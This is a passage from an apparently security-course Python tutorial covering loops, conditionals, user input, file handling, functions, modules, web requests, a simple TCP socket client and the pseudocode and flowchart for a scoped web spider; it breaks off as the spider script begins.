Now let's use a while loop with Python lists. Let's consider the
following script.
kali@kali:~$ cat whileList.py
#!/usr/bin/python
nameList = ["Sleepy", "Sneezy", "Happy", "Grumpy", "Bashful", "Dopey", "Doc"]
print(nameList)
kali@kali:~$ ./whileList.py
['Sleepy', 'Sneezy', 'Happy', 'Grumpy', 'Bashful', 'Dopey', 'Doc']
Listing 34 - There is a list of names that is output to the terminal
This may not seem like a worthwhile exercise, but linking a looping
statement with lists can greatly impact what is achievable with our
scripts. As it is, this output only prints out the values of the list,
and we don't have control over any of those values.
Although we've learned about indexing in the Python lists section,
let's take a different approach on how we could iterate through the
list with indexes in a while loop. Let's get the number of values in
the nameList list, and then iterate through the values to show each
name on its own line.
The following code is added to the bottom of the previously shown
script. Comments are added using the pound or hash-tag symbol (#) to
provide some clarification on what each line is doing.
# Get the number of items in the list and store the value in a variable
nameListCount = len(nameList)
# Print a message with how many items are in the list
print("There are " + str(nameListCount) + " names in the name list.")
nameIndex = 0
while nameIndex < nameListCount:
# Print the index number
print(nameIndex)
# Print the name at the current index
print(nameList[nameIndex])
# Add 1 to the index value before the loop starts over
nameIndex = nameIndex + 1
Listing 35 - A while loop is created with variables to iterate through the names and show the index values in the list
Now that this is added to the bottom of the script, let's execute it
to analyze what it does.
kali@kali:~$ ./whileList.py
['Sleepy', 'Sneezy', 'Happy', 'Grumpy', 'Bashful', 'Dopey', 'Doc']
There are 7 names in the name list.
0
Sleepy
1
Sneezy
2
Happy
3
Grumpy
4
Bashful
5
Dopey
6
Doc
Listing 36 - The script shows the list, the number of names message, and iterates through the list to show the index number and value
In the output above, the list and a message with the number of names
is displayed to the terminal. The list is then iterated through to
show the respective index and name.
Of course, in deployment, we would want to remove the indexes, the
list, and possibly even the message stating how many names are in the
list. We did this to show how the while loop can be used to separate
out values in the list and we'll take this concept further later in
this Module. Now that we covered a while loop, let's move on to a
for loop.
A for loop will repeat a code block as many times as specified. Each
iteration will store the current value of the sequence to a temporary
variable and execute the code block accordingly. In the following
example, we are using the range[243] command to create a list
containing numbers 0 through 9. The first iteration of this loop will
set the temporary variable i to 0 and then run the code block. Then
it will set i to 1 and run the code block again. This will repeat
until the range is depleted. Notice there is no need to increment the
counter. This is a characteristic of a for loop. As shown above,
the while loop will require some incremental process (nameIndex =
nameIndex + 1) but with the for loop, this is done for us.
kali@kali:~$ cat forLoop.py
#!/usr/bin/python
for i in range(10):
print(i)
kali@kali:~$ ./forLoop.py
0
1
2
3
4
5
6
7
8
9
Listing 37 - Example for loop in Python
Note that there are 10 iterations in the loop. Keep in mind that
the index starts at 0, and the range function also starts at
index 0 by default. We can modify the way this works by also modifying
the range start, stop, and step values. The syntax for this is
range(start, stop, step). The start parameter is used to specify
what position we want to start the loop count. The stop parameter
is used to specify the ending position of the iterations. The
step parameter is used to designate how many will be added in each
iteration. The default for this is 1. Let's change the program to
start at 10, end at 20, and use the step count of 2.
kali@kali:~$ cat forLoop.py
#!/usr/bin/python
for i in range(10,20,2) :
print(i)
kali@kali:~$ ./forLoop.py
10
12
14
16
18
Listing 38 - The range started at 10 and counted up by 2 to 18
As shown in Listing 38, the values were
counted by 2's. This was the impact of the step parameter. The range
started at 10 but didn't show the value of 20. This is the same
concept as shown in the original script example, where the ending
position is not reached.
We can also do more with loops. Let's continue working with the for
loop to demonstrate how we can reference dictionary items in a loop.
kali@kali:~$ cat forDictionary.py
#!/usr/bin/python
guts = {
"Name":"Guts",
"Personality":"gruff",
"Weapon":"Dragon Slayer",
"Armor":"Berserker Armor"
}
print(guts)
kali@kali:~$ ./forDictionary.py
{'Name': 'Guts', 'Personality': 'gruff', 'Weapon': 'Dragon Slayer', 'Armor': 'Berserker Armor'}
Listing 39 - A dictionary is made and displayed
Earlier, we covered showing each of the keys with the keys()
function. Let's iterate with a for loop to list each of the
key-value pairs on separate lines (instead of displaying the entire
dictionary as shown in the listing above). To do this, we'll add the
following code at the bottom of the forDictionary.py script.
for key in guts.keys():
print(key + ": " + guts[key])
Listing 40 - A loop to iterate through the keys and display the key-value pairs
With the above code added, let's execute the script.
kali@kali:~$ ./forDictionary.py
{'Name': 'Guts', 'Personality': 'gruff', 'Weapon': 'Dragon Slayer', 'Armor': 'Berserker Armor'}
Name: Guts
Personality: gruff
Weapon: Dragon Slayer
Armor: Berserker Armor
Listing 41 - Each key-value pair is displayed in the terminal
As expected, we iterated through each key-value pair and printed the
key, followed by a colon (:) and space, and finally the associated
value of the key. This occurred for each pair on a new line until the
end of the dictionary.
This completes our coverage of while and for loops. Let's take a
moment to practice what we've learned so far.
When scripting, there may be sections of code that we want to run
in specific situations. To make this easier, we can use conditional
statements[244] such as if, elif, and else logic.
In Python's if statements, the use of newlines and tabs changes how
the logic is interpreted. If an if statement evaluates to True, then
the code it will run is indented under the conditional statement. Just
like looping statements, a colon and newline are required after the
conditional statement.
if numApples > 100:
print("That's a lot of apples!")
Listing 42 - Example If statement in Python
As long as the value of numApples is greater than 100, the program will
execute the print function located inside the if statement.
When the if statement evaluates to False, the indented code block
is skipped. If we have a related conditional statement, we can use the
elif (short for "else if") statement. Many elif statements can be
added as long as an initial if statement exists.
if numApples > 100:
print("That's a lot of apples!")
elif numApples > 50:
print("That's a very good amount of apples")
elif numApples > 30:
print("That's a good amount of apples")
Listing 43 - Example if - elif statement in Python
In Listing 43, if the value of numApples is greater than 100,
it will execute the print function inside the if statement. Then,
it will skip the rest of the elif statements to continue with the
program. Otherwise, it will continue to compare to the next elif
statement.
If we would like to add a handler to run if all if and elif
statements evaluate to false, we can use the else statement. If all
previous if and elif statements resolve to false, the code under
the else statement will be run. Notice in the example below that we
don't have to specify in what case the code under else is run as it
is a catch-all. The code under the else will only run if all other
conditional statements in this conditional block evaluate to false.
if numApples > 100:
print("That's a lot of apples!")
elif numApples > 50:
print("That's a very good amount of apples")
elif numApples > 30:
print("That's a moderate amount of apples")
else:
print("Running low on apples!")
Listing 44 - Example if/elif/else statement in Python
Let's set the variable numApples to various numbers and review the
effects when running the program. The variable must be set before the
conditional statements.
numApples = 150
Listing 45 - We put that we have 150 apples as the variable value
Now let's execute the script.
kali@kali:~$ ./appleStock.py
That's a lot of apples!
Listing 46 - The output correlates with the condition that there are more than 100 apples
Let's change the value one more time. This time, we'll make it 15,
which is less than the last checked condition of 30 apples.
numApples = 15
Listing 47 - The number of apples is now set to 15
Let's execute our script again to check if the output has changed.
kali@kali:~$ ./appleStock.py
Running low on apples!
Listing 48 - The output correlates with the else statement in the code
Now that we have experienced some conditional statements, let's
practice what we've learned with some exercises.
While setting our variables inside our script worked for what we've
covered so far, it doesn't make our program very interactive for the
user. Prompting the user for input can greatly enhance the flexibility
of the program and allow for different variations to be entered as the
variable under test. Let's consider the following code.
kali@kali:~$ cat nameAge.py
#!/usr/bin/python
name = "Griffith"
age = 24
print("Hi " + name + "!")
if age >= 100:
print("You are over 100 years old? What's your secret?")
elif age >= 70:
print("You are over 70 years old? Are you retired or still working?")
elif age >= 60:
print("You are over 60 years old? Will you be retiring soon?")
elif age >= 40:
print("You are over 40 years old? What do you do for a living?")
elif age >= 20:
print("You are over 20 years old? What do you want to do for your career?")
elif age >= 18:
print("You are over 18 years old? That makes you a legal adult!")
else:
print("It looks like you are under 18 years old.")
Listing 49 - There are two variables: name and age, that can be changed inside the script
In Listing 49, we create two variables, execute a
print() function, and run some conditional statements based on the
age variable.
Let's execute the script, as is, to examine the expected behavior.
kali@kali:~$ ./nameAge.py
Hi Griffith!
You are over 20 years old? What do you want to do for your career?
Listing 50 - The script is executed and the output for someone between 20 and 40 is displayed
The script is functional as written, but this doesn't allow anyone to
execute the script and add their own name and age. Instead, for every
change of the name and age, the script will have to be modified and
saved before the next execution. This can be a cumbersome task, so
let's make this script more user-friendly.
To keep things brief, we'll only focus on the variable lines. Let's
use the input()[245] function to prompt the user to input
the values to store as the variables. The syntax for the input()
function is input("prompt").
name = input("Please enter your name: ")
age = input("Please enter your age: ")
Listing 51 - Now the user should be able to enter their own values
Let's execute the script with the above changes to the variable lines.
kali@kali:~$ ./nameAge.py
Please enter your name: Griffith
Please enter your age: 24
Hi Griffith!
Traceback (most recent call last):
File "/home/kali/./nameAge.py", line 9, in <module>
if age >= 100:
TypeError: '>=' not supported between instances of 'str' and 'int'
Listing 52 - The modification to our script failed with a TypeError message
The script failed to execute. In the listing above, the error message
indicates that something is wrong with a variable that is trying to
mix a 'str' and an 'int' in the age comparison line. This is
where we can use type casting, as covered earlier, to set the age
variable input to be an integer.
name = input("Please enter your name: ")
age = int( input("Please enter your age: "))
Listing 53 - The type cast has been put around the input() function to force the variable into being an integer
Now that age is type cast as an integer, let's execute the script
again.
kali@kali:~$ ./nameAge.py
Please enter your name: Griffith
Please enter your age: 24
Hi Griffith!
You are over 20 years old? What do you want to do for your career?
Listing 54 - The script works as expected
One note on user input, we need to be careful with what the user may
do when using our program. Even though we set the age variable to be
an integer through type casting, the user can still enter unexpected
values. Let's try to simulate a user entering a string when prompted
for their age.
kali@kali:~$ ./nameAge.py
Please enter your name: Griffith
Please enter your age: Femto
Traceback (most recent call last):
File "/home/kali/./nameAge.py", line 4, in <module>
age = int(input("Please enter your age: "))
ValueError: invalid literal for int() with base 10: 'Femto'
Listing 55 - The script fails with an error message for invalid input
Fixing this issue is out of scope for this Module, but we must keep
this in mind while we write any code. Input validation is a very big
reason a lot of security vulnerabilities exist. Keeping in mind that
a user may enter special characters, characters that don't match
the data type, or even input characters that may be thousands of
characters long are all important to securely writing code.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 120 minutes to complete.
Working with files can be incredibly useful when writing Python
scripts. This can be used to get data from a file and act upon that
information in the code. It can also be used to change or even create
files on a system. If we want to have a log or resulting output with
our script, we need to understand how to work with files.
Functions can also help us manage our code and separate each goal
within the program into smaller segments.
Reading and writing to files is an important function for ingesting or
saving data for after the script ends. To open a file, we can use the
open[246] command, set to a variable. We need to specify the file
name and the mode. The mode can be read (r), write (w), append
(a), or read+write (r+) for text. If we want to read or write
binary data, we can append a b to the mode. Reading a binary file
would require a read-binary (rb) mode, and writing binary to a file
would require write-binary (wb). For our examples, we will work with
text.
f = open("data.txt", "r")
Listing 56 - Example of opening a file in read mode
With the file opened and defined as variable f, we can now read the
contents with the read()[247] method.
data = f.read()
Listing 57 - Example of reading a file to a variable
This will store the entire contents of the opened file as a string
into a variable named data. This may not be the best option if we
are working with large files such as log files. For larger files, we
can limit how much we are storing by only reading one line of the file
at a time using readlines() instead of read(). Using readlines()
as a sequence in a for loop makes this very easy. Each iteration of
the for loop will store the current line of the file we are reading
as a temporary variable that we can work with.
f = open("data.txt", "r")
for line in f:
print(line)
Listing 58 - Example of looping over lines of an opened file
If we would like to write some data to a file, we can open the
file like before but in write (w) or append (a) mode depending
on what we are trying to accomplish. Opening a file in write mode
will overwrite the file if it already exists. Using append mode,
we maintain the existing contents of the file and will write any
new data to the end. Either way, we write data to the file using
write()[248] with the data to write passed as an argument.
myData = "I'm sample data to be written to a file"
f = open("data.txt", "a")
f.write(myData)
Listing 59 - Example of opening a file in write mode and writing data to it
In Listing 59, we append by writing the value of myData to
data.txt.
After reading or writing data to a file, we will need to close it.
This can be done by using close(). Closing an opened file isn't
necessary, but it is good practice. Depending on the situation, it can
have many benefits, like allowing other programs the ability to access
the file. There is much more theory and technical explanation behind
this, but it is out of scope. For the purpose of this Module, remember
that we must close an opened file because of best practices.
f.close()
Listing 60 - Closing a file
A function[249] is a code block that can be referenced later
in either our script or another external script or program. Functions
need to be defined in the script before they can be called. To define
a function, we use def followed by the name of our function. The
function definition line ends with parenthesis and a colon.
The big value of functions is that they can help organize code into
small snippets. This makes the code much easier to manage, call, and
even modify in the future. Instead of writing an entire program, each
function goal can be completed and assembled to make the complete
program. We will explore this more in the last section of this Module.
The idea behind this usage is to keep the lines of actual code per
function under 30 lines. Not only is 30 lines easier to deal with than
500, but it can also help identify the area of code that may have an
issue in the debugging process. Of course, 30 lines is an arbitrary
goal to keep the functions short. If possible, it would be a better
practice to lower this line count within the function as much as
possible.
kali@kali:~$ cat function.py
#!/usr/bin/python
def hello():
print("Hi there!")
Listing 61 - This function will print "Hi there!" to the terminal
We created a function called hello() that prints text to the
terminal.
With the function written, let's execute the script.
kali@kali:~$ ./function.py
Listing 62 - Nothing is shown in the terminal
Nothing is shown in the terminal, despite the function having the
print() function. The reason for this is we didn't call the function
in the script. To call and execute the function, we need to specify
the function name after the function. If we attempt to call the
function before it is defined, the program will result in an error.
This will happen because as far the program knows, the function does
not (yet) exist.
Let's add the function call now.
kali@kali:~$ cat function.py
#!/usr/bin/python
def hello():
print("Hi there!")
hello()
Listing 63 - The hello() function is called in the script
Now that we have a function call in the script, let's execute it and
analyze the output.
kali@kali:~$ ./function.py
Hi there!
Listing 64 - The function was called and printed "Hi there!" to the terminal
Perfect! When we ran our script, the program knew a function called
hello() existed because we defined it. Then, when we called it, the
program executed the instructions inside the function. This resulted
in the text printing to the terminal.
This was a very simple function that may not be useful for our needs.
Despite this example, we'll review how these simple functions -
without arguments - become incredibly useful later in this Module.
To expand on function use, we can supply arguments to be used in
the function. Arguments are also known as parameters, operands, and
variables. These are interchangeable in Python. They are passed to
a function within the parentheses. A return statement is used to
supply the function output back to our script in progress. Let's
create a demonstration function to add two numbers and return the
value.
def addNums(numA, numB):
answer = numA + numB
return answer
Listing 65 - Example Function in Python
In Listing 65, we created a function called addNums, which
takes two arguments: numA and numB. Inside the function, both of
these variables are added and the result is assigned to the answer
variable. Finally, the function returns the answer variable.
We can now call addNums() later in our script using the
function name and any passed arguments in parentheses.
kali@kali:~$ cat functTest.py
#!/usr/bin/python
def addNums(numA, numB):
answer = numA + numB
return answer
x = addNums(5, 7)
print(x)
kali@kali:~$ python functTest.py
12
Listing 66 - Calling a Function
In Listing 66, we took the function that we previously
created and we added a print() function to print it to the terminal.
It's important to note that the return statement does not print
the result to the terminal. We can then take the return value and
do something with it, like manipulate it further or print it to the
terminal. As expected, 12 was printed because 5 + 7 = 12.
We covered how to work with files and working with functions. Let's
mix these two subjects together and accomplish the file operations
to quickly store the file contents in a variable to work within our
script. Let's consider the following script.
kali@kali:~$ cat fileManipulation.py
#!/usr/bin/python
def storeFile(file):
f = open(file, 'r')
contents = f.read()
f.close()
return contents
# Variable to store the filename
fileVar = "notes.txt"
contents = storeFile(fileVar)
print(contents)
Listing 67 - The function opens, reads, stores the contents into a variable, and closes the specified file
This script opens, reads, stores the contents into a variable, and
closes the file within one function call. With this, we can call the
function and pass the parameter with the fileVar variable, which was
set above the function call. For this to work, the file must already
exist. In this example, the file exists with the text shown in the
script execution.
kali@kali:~$ ./fileManipulation.py
These are my amazing notes
Listing 68 - The file operations completed and the contents are displayed to the terminal
With this function, we can modify the value stored in the variable
f, instead of modifying the file in any way. This may help prevent
mistakes that may happen when working directly with the file. The
convenience of the function is that the file is also closed as soon as
it is no longer needed.
Let's practice what we learned with some exercises.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 120 minutes to complete.
We covered multiple subjects for creating our own Python programs,
but the power behind Python's ease-of-use is its modules that are
already built. To understand modules, we'll create our own and import
them for use in a custom script. From there, we'll examine how to use
pre-existing modules to make web requests to pull web page content.
One of the best things about Python is the size of the community.
There are lots of resources available to get help or find better
ways to accomplish complex tasks. Sometimes, we may find that someone
has already solved a complicated task for us and provided their
code as a Python module. Examples of these are the JSON,[250]
Requests,[251] and NumPy[252] modules.
We may also run into a situation where we are working with large and
complex Python files. It may be better for us to split them up and
import the functionality when needed by using modules. This can help
us keep our code organized and clean. We can also re-use code more
easily in other projects this way.
Let's start with importing our own code. First, let's create a new
file named myData.py and initialize a couple of lists with some
sample values and a function that prints out items in a list passed to
it.
#!/usr/bin/python
fruit = ["apple", "banana", "orange", "mango"]
veg = ["carrot", "broccoli", "peas", "artichoke"]
def printItems(myList):
for x in myList:
print(x)
Listing 69 - Setting up a Python file to import
Now, we'll set up a new Python file in the same directory called
myMain.py. We want to be able to run myMain.py and have it
import the lists and function from myData.py. To do this, we
use the import[253] statement. This is usually done at the top
of the file below the shebang. There are a couple of different ways
to import a module. We can import just the parts we want, or we can
import the entire module. To import the entire module, we can use the
import statement followed by the file we want to import (without the
file extension).
#!/usr/bin/python
import myData
Listing 70 - Importing our local Python script
With our module imported, we can reference the lists and functions
included in it by calling the module name and the variable name
separated by a period. This import will first search for local modules
of this name (in the same directory) and then search for modules of
the same name in the PYTHONPATH, which is dependent on our OS and
how Python was installed.
#!/usr/bin/python
import myData
print(myData.fruit)
print(myData.veg)
myData.printItems(myData.fruit)
Listing 71 - Working with imported data and functions from a basic import
This is very useful but typing "myData" every time we reference
something from the module can be inefficient. Instead, we can just
import what we want and remove the need to reference the module each
time by using the from statement along with our import.
kali@kali:~$ cat myMain.py
#!/usr/bin/python
from myData import fruit, printItems
print(fruit)
printItems(fruit)
print(veg)
kali@kali:~$ python myMain.py
['apple', 'banana', 'orange', 'mango']
apple
banana
orange
mango
Traceback (most recent call last):
File "/home/kali/myMain.py", line 9, in <module>
print(veg)
NameError: name 'veg' is not defined
Listing 72 - Working with imported data and functions using From
Here, we are choosing which parts to import from our myData module.
We imported the fruit list and printItems() function directly so
we will be able to work with them in myMain.py without having to
reference the module they came from.
We didn't import the veg list so Python produced an error when we
tried to use it. Using this method, we can also import everything from
myData by replacing the import statement with "from myData import *".
There are a lot of modules that we can leverage in Python. We will
focus on the requests[254] module for making web requests.
kali@kali:~$ cat webRequest.py
#!/usr/bin/python
import requests
Listing 73 - The module will be imported in our webRequest script
The requests module contains multiple functions within it. Some
common functions are: get, status_code, headers, encoding,
text, and json. Let's work with get, status_code, and text
to keep this section easier for the sake of learning.
Let's modify our script to request the webpage at
"https://www.offsec.com/offsec/game-hacking-intro/", store
that in a variable, and show the status of that webpage.
kali@kali:~$ cat webRequest.py
#!/usr/bin/python
import requests
page = requests.get('https://www.offsec.com/offsec/game-hacking-intro/')
print(page.status_code)
Listing 74 - The web page is stored in the page variable and the status will be printed to the terminal on execution
The web page contents will be stored in the page variable. Using
that variable, we can check the status of the web response with the
status_code function. Let's execute the script and identify the
status of the webpage.
kali@kali:~$ ./webRequest.py
200
Listing 75 - The HTTP response is 200
The HTTP response[255] code is 200, which means the page
was successfully reached. Knowing the HTTP response code can be useful
when making requests to web resources. If the resource is blocked or
unreachable, that request could have an error message, be ignored, or
even halt the program execution.
Even though the HTTP response is useful, this isn't what we truly
wanted from the request. Let's add another function under the
status_code call, text.
kali@kali:~$ cat webRequest.py
#!/usr/bin/python
import requests
r = requests.get('https://www.offsec.com/offsec/game-hacking-intro/')
print(r.status_code)
print(r.text)
Listing 76 - The text function call in the module is added to the script
Now that we have the text function call in our script, let's execute
it.
kali@kali:~$ ./webRequest.py
200
<!doctype html>
<html class="no-js" lang="en-US">
<head>
<meta charset="utf-8">
<!-- Force IE to use the latest rendering engine available -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Mobile Meta -->
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta class="foundation-mq">
...
Listing 77 - The source code of the web page is displayed on the terminal
The source code of the webpage is displayed on the terminal. The
output in the listing above is trimmed to save space, but the contents
of the webpage could be manipulated in our script.
Let's practice what we learned with the following exercises:
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
In this section, we'll cover how to write a Python socket script.
Network sockets[256] are endpoints for sending and receiving
data across the network. Simply put, they are the backbone of
server/client relationships. We'll only be covering client socket
programming with Python to connect to a remote server.
To get started with our Python network client script, we'll first need
to import the socket module.
kali@kali:~$ cat networkClient.py
#!/usr/bin/python
import socket
Listing 78 - The socket module is imported in our script
From here, we need to set a socket variable. In our case, we'll name
ours s.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Listing 79 - The socket variable is set to 's'
The variable may seem complicated, so let's break down what each part
of the socket declaration is. There is a socket() function that has
two parameters: AF_INET and SOCK_STREAM.[257]
The AF_INET parameter specifies that the IP address will be an
IPv4 address. The SOCK_STREAM parameter specifies that the socket
will use a TCP connection. Now that the socket variable is set, we
can connect to a remote server. Let's add the connection code now. For
this demonstration, we'll use the IP address 192.168.50.101 and port
9999.
s.connect(("192.168.50.101", 9999))
Listing 80 - The socket is connected
It is important to note that the IP and port are provided as a
single parameter in the connect() function. Now that we added the
connection code, let's check if the server sends anything to the
client. We can do this with the recv() function.
print(s.recv(1024))
Listing 81 - The data sent from the server will be displayed on the terminal
The receive value of 1024 in the above listing is the buffer size
for the data receipt. This value sets the number of bytes that can
be received from the server. It can be changed to be lower or higher,
up to near 64,000 bytes. Raising our buffer to that size would be
impractical, and 1024 bytes is a fair amount to specify for typical
usage.
After we receive the data from the server, we will close our socket
connection with the close() function. Let's add this and review our
script.
kali@kali:~$ cat networkClient.py
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.50.101", 9999))
print(s.recv(1024))
s.close()
Listing 82 - The Python network socket client is complete
Let's execute our script against the remote server to analyze the
result.
kali@kali:~$ ./networkClient.py
b'You are connected.\nGoodbye'
Listing 83 - The client connected to the server, read the incoming data, and closed the connection
Interestingly enough, there is a b before the string of data. The
string also has a newline character[258] and didn't interpret
that as a new line. The b is signifying that the data is in a binary
format. On the server, the data being sent is encoded. We can decode
this data in our client with the decode() function. Let's modify the
print() function to decode the data being received.
print(s.recv(1024).decode())
Listing 84 - The data received will now be decoded
Now that we have decode() added to our print() function, let's
execute the script again.
kali@kali:~$ ./networkClient.py
You are connected.
Goodbye
Listing 85 - The output from the server looks better
The server only sent some data. Of course, most service applications
are much more complex and can take data as input from the client.
The service on port 9999 will be changed to account for the ability
for the client to send data. These are examples that should be read
along with, as opposed to doing the activity. The service that we are
connecting to on port 9999 will be rewritten to show another type of
interaction we can get from services of this nature.
Since the service was changed, let's just send our script to the newly
modified service to analyze what may be on it.
kali@kali:~$ ./networkClient.py
Please send a number to be squared
Listing 86 - The server is now requesting a number be sent
Now, the server is requesting a number to be sent to the socket so it
will be squared and returned. Let's send a number to the server with
the send() function.
kali@kali:~$ cat networkClient.py
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.50.101", 9999))
print(s.recv(1024).decode())
s.send("5".encode())
s.close()
Listing 87 - The number is added with the send function and encoded
The number 5 is sent as a string and encoded for the server to
understand the value. Let's execute the script again.
kali@kali:~$ ./networkClient.py
Please send a number to be squared
Listing 88 - The message is the same as before
The message returned from the server is the same as before. This is
due to us not reading any new data that may have been sent as a result
of our number. Let's add another recv() line to our script before
the connection is closed.
kali@kali:~$ cat networkClient.py
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.50.101", 9999))
print(s.recv(1024).decode())
s.send("5".encode())
print(s.recv(1024).decode())
s.close()
Listing 89 - The additional data should be printed
Let's execute the script again to test if the server sends anything
after we sent the number 5.
kali@kali:~$ ./networkClient.py
Please send a number to be squared
25
Listing 90 - The number we sent was squared and returned
In our last execution, the server did accept our number 5 and return
its square, 25.
In this section, we covered how to create a Python network socket
client to send and receive data from a server.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 180 minutes to complete.
In this section, we'll be creating a program from scratch.
We've covered a lot of material regarding Python scripting. Let's walk
through the development process of writing a complete and functional
script that will leverage many of the concepts we covered.
The script we will be writing is a web spider.[259] Before
we get into working with actual Python scripting, let's define what we
want to create, how we plan to go about it, and write a program in
pseudocode.
Before writing any program, we need to have an idea of what and how
we want to accomplish the task the program will complete. With this in
mind, many programmers don't take the time to organize their programs.
Instead, they jump directly into typing the code with the mindset that
doing anything else would be time wasted. We are not going to adopt
that mentality. We will take the time to organize our plan and write
it in plain language (instead of writing it in the actual programming
language). This is called pseudocode.[260] The time spent
writing our pseudocode will save us time in the long run as we develop
the program.
Let's begin with defining what the goal of our script is.
The script will download a web page, find all of the links on that page, and recursively collect links on the website after following all of the links and display them when complete.
Listing 91 - The goal of our script
This may sound like a cluttered definition. Let's break down what
this program will do. The idea is that the script will be supplied
with a web page to make a request. From there, the script will search
for other links within the web page that was originally requested. It
will store these links in a list and follow each link programmatically
and repeat the process until no unique links are found. If this still
doesn't make sense, that's ok. We'll cover this further as we build
and organize our pseudocode.
Let's get started with our pseudocode and how we might handle each
part of the scripting process. We defined the beginning step already.
1. The script will make a request to a web page - supplied by the user.
Listing 92 - The first step of the program
Next, the script needs to collect any links inside the requested web
page. This can be handled in different ways, but we'll simplify this
to parsing the web page for the "http" string to identify any URLs
on the page. These need to be stored in a list after they are parsed.
Next, let's translate this into pseudocode.
1. The script will make a request to a web page - supplied by the user.
2. The web page requested will be parsed to search for any URLs starting with 'http'.
3. Each found URL will be stored in a list variable.
Listing 93 - The pseduocode is expanded
Now, the script will need to follow each found URL and repeat the
process. There's an issue with our idea though. What if the same URL
is found on multiple of the found URLs in the list? We can create a
dictionary of the URLs with a value of whether they have been searched
or not. In the beginning, no URL, except the URL that was provided
at the beginning of the script execution, should have been followed.
After we have a way to keep track of which URLs have been requested or
not, we need to repeat the request/parse process for each subsequent
page. Let's modify our pseudocode to add these new steps:
1. The script will make a request to a web page - supplied by the user.
2. The web page will be added to a dictionary (isFollowed) with a value of 'yes'.
3. The web page requested will be parsed to search for any URLs starting with 'http'.
4. Each found URL will be stored in a list variable.
5. Each URL in the list variable will be checked against the dictionary (isFollowed) to check if there is a 'yes' entry for that URL link.
6a. If it has already been followed, the URL will not be requested again.
6b. If it has not been followed, the URL will be requested and repeat the above process.
Listing 94 - There's a decision in the pseudocode
Control over the web spider is extremely important. We need to also
accommodate for a scope in our search term. We can add another search
term in our parsing and handle it in a couple of ways. To make sure
we don't create any unnecessary traffic to websites, we'll be writing
this spider for our web server on the Exercise Host. We can filter
URLs that do not end with the last octet of our exercise host. This
will prevent the spider from leaving our website and continuing to
spider websites that may have been referenced within ours.
Let's add this to our pseudocode with the ending action.
1. The script will make a request to a web page - supplied by the user.
2. The web page will be added to a dictionary (isFollowed) with a value of 'yes'.
3. The web page requested will be parsed to search for any URLs starting with 'http' and the last octet of our exercise host IP.
4. Each found URL will be stored in a list variable.
5. Each URL in the list variable will be checked against the dictionary (isFollowed) to check if there is a 'yes' entry for that URL link.
6a. If it has already been followed, the URL will not be requested again.
6b. If it has not been followed, the URL will be requested and repeat the above process.
7. When the process is finished, print the list of URLs to the terminal each on their own line.
Listing 95 - The pseudocode is complete, and we can move on to the next step.
Now that we have our pseudocode finished, let's take a moment to
review what we learned with the following exercises:
To expand our organization into a format we can visualize, we'll begin
creating a flowchart[261] of how we expect our script to
work. This will be translating our already written pseudocode into a
graphical medium.
Unlike writing pseudocode, creating a flowchart for the program may
not be as valuable of an investment in time. Despite this, it can help
us further realize how our program should be structured and translated
into the programming language we are going to use. In our case, we
will be writing a Python script. We can visualize the flow and the
shapes to operations in the programming language. This will become
more apparent as we continue making the flowchart.
For this Module, we'll be using the diagramming application
Lucidchart.[262] There is a free-to-use tier that has
limitations, but it should be fine with our need to create the
flowchart for our web spider. We won't go into the usage of Lucidchart
or other diagramming applications. Instead, we'll simply focus on
translating our pseudocode to a visual format.
As a recap, let's review our pseudocode again.
1. The script will make a request to a web page - supplied by the user.
2. The web page will be added to a dictionary (isFollowed) with a value of 'yes'.
3. The web page requested will be parsed to search for any URLs starting with 'http' and the last octet of our exercise host IP.
4. Each found URL will be stored in a list variable.
5. Each URL in the list variable will be checked against the dictionary (isFollowed) to check if there is a 'yes' entry for that URL link.
6a. If it has already been followed, the URL will not be requested again.
6b. If it has not been followed, the URL will be requested and repeat the above process.
7. When the process is finished, print the list of URLs to the terminal each on their own line.
Listing 96 - The pseudocode we made earlier
Translating this into a flowchart may resemble the following image:
At the beginning of the flowchart, we added a clear starting point in
the diagram. The first thing that we need for the program to succeed
is a target URL, which will be supplied by the end-user. The user may
supply this as a terminal input or as a variable within the script.
Despite having a flowchart, we can decide on the mechanisms handling
these tasks when we program our script later.
After the starting web URL is provided, the program will store this
URL in a URL list. From here, the program will request the webpage.
After the webpage is requested and stored, the URL used will be stored
in a dictionary, called isFollowed, followed by a value of "yes".
After this is stored, the requested webpage will be parsed for any
links that contain "http" in them.
With the webpage filtered for the "http" string in a link, the program
will determine if that link contains the IP address of our host. This
is to keep our spider from wandering outside of our targeted site. If
it does have our target IP address, the link found will be checked in
the URL list we started before. If it is already there, that link will
also be ignored. If it wasn't found, the link will get stored in the
URL list. The page will continue to get parsed for links with "http"
in them and follow this same behavior until all of the links are found
and the appropriate action is taken on them.
When all the links are parsed out of the webpage, the program will
refer to the URL list again. Starting from the beginning of the list,
the program will check if that URL is in the isFollowed dictionary
variable. If the URL is either not in the dictionary or has not had
the value of "yes" set to it, the URL will be used to request that
webpage. It will then follow all of the steps covered above.
In the event the URL is set to "yes" in the isFollowed dictionary,
the next URL list value will be read. This next URL will be checked if
it has been followed as well. These loops will continue until all of
the URL list values have been checked.
When the last URL list value check is complete, the URL list variable
will be printed to the terminal. Once all the discovered links are
printed to the terminal, the application will close.
This concludes our flowchart of the spidering program. Let's move on
to writing the script.
Now that we have our spider program idea in pseudocode and a
flowchart, we'll translate this plan to actual code. Instead of
providing the entire code base and explaining it, let's work through
each step of programming this script as laid out in the flowchart.
This way, we can conduct our scripting tests while writing the
program, instead of having a final solution up front.
As we know, we need to have the start of our program. Let's name our
script webSpider.py and add the shebang line.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
Listing 97 - The program file is started with the shebang
The shebang in this file is a bit different in that the interpreter
is calling on python3 instead of just python. This will ensure that
Python version 3 is used for our script.
According to our flowchart diagram, our first action is to take user
input of a webpage. The simplest way for us to do this is to add a
variable for this value. Let's add a variable called URL and assign
